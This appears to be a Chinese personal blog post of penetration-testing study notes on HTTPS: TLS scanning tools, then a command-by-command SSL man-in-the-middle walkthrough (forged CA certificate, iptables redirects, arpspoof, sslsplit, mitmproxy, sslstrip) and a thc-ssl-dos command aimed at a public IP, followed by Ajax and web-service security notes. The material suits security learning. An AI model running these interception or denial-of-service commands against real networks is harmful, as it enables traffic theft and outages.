HTTPS攻击


HTTPS攻击

防止恶意注入、DNS劫持

https的作用

  • C I A
  • 解决的是信息传输过程中数据被篡改、窃取
  • 加密:对称、非对称、单向(Hash)

https攻击方法

  • 降级攻击

  • 解密攻击(明文、证书伪造)– 劫持

  • 协议漏洞、实现方法的漏洞、配置不严格

常识

SSL(安全套接层, Secure socket layer),后来使用TSL取代了SSL,只不过习惯了叫SSL

SSL/TLS也被用于其他场景的传输通道加密:

  • 邮件传输(服务器间、客户端与服务器间)
  • 数据库服务器间
  • LDAP身份认证服务器间
  • SSL VPN
  • 远程桌面RDP通信过程中的加密和身份认证

Web通信中SSL加密

  • 公钥证书(受信任的第三方证书颁发机构签名颁发)
  • 常见的证书颁发机构:VeriSign、Thawte、GlobalSign、Symantec

加密过程:握手、协商加密算法、获取公钥证书、交换会话秘钥、加密信息传输

非对称加密算法

非对称加密一般用来加密比较小的数据
例如:RSA, ECC等

对称加密算法

DES/3DES, AES, IDEA, RC4 ……

单向加密算法(Hash)

Hash算法 Hash值长度(bit)
MD5 128
SHA-1 160
SHA-2 224,256,384,512

SSL的弱点

  • SSL是不同的对称、非对称、单项加密算法的组合加密实现(cipher suite)
  • 服务器端为提供更好的兼容性,选择支持大量过时cipher suite
  • 协商过程中墙皮降级加密强度
  • 现代处理器计算能力可以在可接受的时间内破解过时加密算法
  • 购买云计算资源破解
实践

查看web站点用了啥样的ssl协议,什么版本,什么组合

1.openssl命令
openssl s_client --connect www.baidu.com:443

#证书颁发机构也是树形结构的,有一级二级

#指定查看是否支持某协议和组合
openssl s_client -tls1_2 -cipher 'ECDHE-ECDSA-AES128-GCM-SHA256' -connect www.taobao.com:443

# 测试是否可以跟已知的不安全的cipher suite建立连接
openssl s_client -tls1_2 -cipher 'NULL,EXPORT,LOW,DES' -connect www.taobao.com:443

# 已知的不安全的组合cipher suite
openssl ciphers -v 'NULL,EXPORT,LOW,DES'

# 参考网站(加密技术)
https://www.openssl.org/docs/apps/ciphers.html

Openssl需要大量密码学相关知识,命令复杂,结果可读性差

2.SSLScan工具
  • 自动识别ssl配置错误、过期协议、过时cipher suite和hash算法
  • 默认会检查CRIME、心脏出血漏洞
  • 绿色表示安全,红色黄色需要引起注意

查看TLS支持的cipher suite

# 检查所有的支持的tls是否有不安全的
sslscan --tlsall www.taobao.com:443

# Altnames选项下面的域名也可以使用上面域名的证书

分析证书详细信息

sslscan --show-certificate -no-ciphersuites www.taobao.com:443
3.SSLyze工具
  • Python编写
  • 检查ssl过时版本
  • 检查存在弱点的cipher suite
  • 扫描多站点时,支持来源文件(多个站点放到一个文件里面)
  • 检查是否支持会话恢复
sslyze --regular  www.supercomputerboytony.cn

4.Nmap
# 枚举cipher suite
nmap --script=ssl-enum-ciphers.nse www.supercomputerboytony.cn
5. 在线网站:

输入域名,对SSL进行检测
https://www.ssllabs.com/ssltest


SSL中间人攻击

概述

攻击者位于客户端和服务器通信链路中

  • 1.ARP欺骗(最常用)
  • 2.DHCP
    如果有另一台机器,比之前的dhcp服务器离用户更近,那么攻击者的机器就会更快响应(DHCP第一步是广播)
  • 3.修改网关
  • 4.修改DNS(如果控制了客户机, 直接修改客户机的dns配置)
  • 5.修改HOSTS
  • 6.ICMP、STP(二层的生成树协议)、OSPF(三层的开放式最短路径优先协议) —>如果处在同一局域网

不仅是http和tcp/ip协议容易出现安全问题,底层的网络协议也存在很多问题,自己搭建环境练习

加密流量

ps:下来的演示,是基于ARP欺骗的:

利用

攻击的前提
  • 客户端已经信任了伪造证书颁发机构
  • 攻击者控制了核发证书颁发机构(CA证书服务器)
  • 客户端程序禁止了显示证书错误告警信息
  • 攻击者已经控制客户端,并强制其信任伪造证书
工具

对已经实现中间人欺骗(这里用arpspoof)后,下面的工具对信息进行解密

1.SSLsplit工具
  • 透明SSL/TLS中间人攻击工具
  • 对客户端伪装成服务器,对服务器伪装成普通客户端
  • 伪装服务器需要伪造证书(利用openssl来生成伪造的证书)
  • 支持ssl/tls加密的smtp、pop3、ftp等通信中间人攻击

1). openssl

# 1.利用openssl生成证书私钥
openssl genrsa -out ca.key 2048

# 2.利用私钥签名生成证书(生效时间,使用的私钥文件)  -- 这是根证书,不是一会使用的证书,用的证书是需要这个根证书来签名的
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

# 下来输入一些信息即可(信息可以把之前扫描的信息添进来以保证看起来很真实)

2).攻击机器设置路由转发
下面,当受害者的流量通过我的机器,我的机器来转发(需要我的系统来开启路由功能):

做个地址转换, 比如: 把我计算机443端口收到的数据包转发到8443端口

# 先查看要用到的端口有没有被占用
netstst -pantu |grep :80

# 查看nat表
iptables -t nat -L

# -F  清空
iptables -t nat -F

# 端口转发命令(PREROUTING在路由之前,-p协议, -j操作)
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIFECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIFECT --to-port 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIFECT --to-port 8443   # MSA
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIFECT --to-port 8443    # SMTPS 发邮件
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIFECT --to-port 8443    # IMAPS    收邮件
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIFECT --to-port 8443 #POP3S
#其他使用ssl协议加密的协议端口一样

iptables -L

3).ARP欺骗

# -i本地网卡 -t要欺骗的目标, -r:让他认为网关192.168.1.1的mac地址是我本机的mac地址
arpspoof -i eth0 -t 192.168.1.118 -r 192.168.1.1

#可以发现:受害者机器上关于网关的mac已经换成了kali的

4).启动SSLsplit

mkdir -p test/logdir

# -D:debug显示详细信息,-l把连接信息记录到哪,-j“越狱”的根目录(sslsplit的),-S请求具体数据内容保存的目录,-k私钥,-c证书;对ssl加密的在本地8443监听,对明文在本地8080监听
sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

# 所有操作完成了
  • 然后让被害者访问https的一些网站(会显示证书有问题,是否继续浏览)
  • 我们可以查看日志和浏览器证书以及证书保存信息(cat connect.log) ,
  • 具体通信数据在:ls test/logdir, 每个log文件中内容会有被解密的明文信息(如果还有加密信息,那就是应用程序本身进行了加密的,这里的解密的只是通信过程中针对ssl部分)
    通过关键词查找内容:grep xxx *.log这样
  • 在受害者机器上安装我们生成的服务器根证书之后再次访问(浏览器就不会弹出警告了)

全站https/非全站https(比如只是登录等部分页面加了https)

2.Mitmproxy工具
  • 设置路由表转发规则
# bug: 只能在8080端口监听,所以需要修改规则
iptables -t nat -F

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIFECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIFECT --to-port 8080
  • 也是使用arpspoof进行arp欺骗
arpspoof -i eth0 -t 192.168.1.118 -r 192.168.1.1
  • 最后,Mitmproxy侦听
mitmproxy -T --host -w mitmproxy.log

# mitmproxy会自动生成一个证书
3.SSLstrip工具

与前两种工具不同,此工具将客户端到中间人之间的流量变为明文(不用通过安装证书)

# 这种更实用便捷,但是......
sslstrip -l 8080

SSL/TLS拒绝服务攻击

和流量式的拒绝服务攻击不同(打击的是网络带宽),而我们这里打击的是服务器的资源

Note:

  • SSL协商加密,服务器资源加载速度会变慢(大量握手请求会导致拒绝服务),但是优化得当就可以没问题
  • 利用SSL secure Renegotiation特性,在单一TCP连接中生成数千个SSL重连接请求,造成服务器资源过载
  • 与流量式的拒绝服务攻击不同,thc-ssl-dos可利用dsl线路打垮30G带宽的服务器
  • 服务器平均可以处理300次/s SSL握手请求

利用

thc-ssl-dos工具
#使用
thc-ssl-dos 199.223.209.205 2083 -accept

dig命令,解析ip地址


补充概念

Ajax

Asynchronous JavaScript and XML

是一组现有技术的组合

通过客户端脚本动态更新页面部分内容,而非整个页面

降低带宽使用,提高速度

提升用户体验

后台异步访问

Ajax组件

  • JavaScript(ajax的核心组件)
  • Dynamic HTML(DHTML)
  • DOM

ajax框架:

  • jQuery
  • Dojo Tookit
  • Google Web toolkit
  • Microsoft Ajax library

基于Ajax的Web应用工作流程

使用的技术混合越多,攻击面就越大(每个参数都可能形成独立的攻击过程)

Ajax的安全问题

  • 多种技术混合,攻击面就越大(每个参数都可能形成独立的攻击过程)
  • Ajax引擎,访问恶意站点可能后果严重,虽然浏览器有沙箱和SOP,但可能被绕过
  • 服务器、客户端代码结合使用产生混乱,服务器访问控制不当,将信息泄露
  • 暴露应用程序逻辑

Ajax对渗透测试的挑战

  • 异步请求数量多且隐蔽

  • 触发Ajax请求的条件无规律

  • 手动和阶段大力爬网可能产生大量遗漏

检查方法:

  • 手动查看页面源代码有没有使用ajax(效率低一些)
  • 浏览器打开审查元素:net –> XHR / net –> javascript
  • 使用ZAP,使用ajax爬站功能

Web Service

  • 面向服务的架构,便于不同系统集成共享数据和功能
  • 尤其适合不想暴露数据模型和程序逻辑而访问数据的场景
  • 无页面

两种类型:

  • SOAP (传统,xml是唯一的数据交换格式,繁琐,但是安全) – Simple object access protocol
  • RESTful (json是首选的数据交换格式刷)

web service安全考虑:

  • 使用API key或session token实现和跟踪身份认证
  • 身份认证由服务器完成,而非客户端
  • API key, 用户名, Session token 永远不要通过URL发送
  • RESTful 不提供任何安全机制,需要使用SSL/TLS保护传输数据安全
  • SOAP提供强于HTTPS的WS-security机制
  • 使用OAuth或HMAC进行身份验证,HMAC身份认证使用C/S共享的秘钥加密API key
  • RESTful应只允许身份认证用户使用PUT、DELETE方法
  • 使用所及token防止CSRF攻击
  • 对用户提交参数过滤,建议部署基于严格白名单的方法
  • 报错信息消毒
  • 直接对象引用应严格身份验证(电商公司以ID作为主索引)

文章作者: 剑胆琴心
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 剑胆琴心 !
评论
 上一篇
常见的管道符 常见的管道符
常见的管道符:Windows:| 直接执行后面的语句|| 如果前面出错(即为false),就执行后面的语句(前面只能为假)& 如果前面的语句为假则直接执行后面的语句(前面可真可假)&& 如果前
2020-03-29
下一篇 
Node.js 入门 Node.js 入门
Node.js是一个机遇Chrome V8引擎的JavaScript运行环境 Node.js的包管理器npm,是全球最大的开源生态库系统 Node.js可解析js代码,没有浏览器安全级别的限制 一.开发环境配置官网: https://nod
2020-03-27
  目录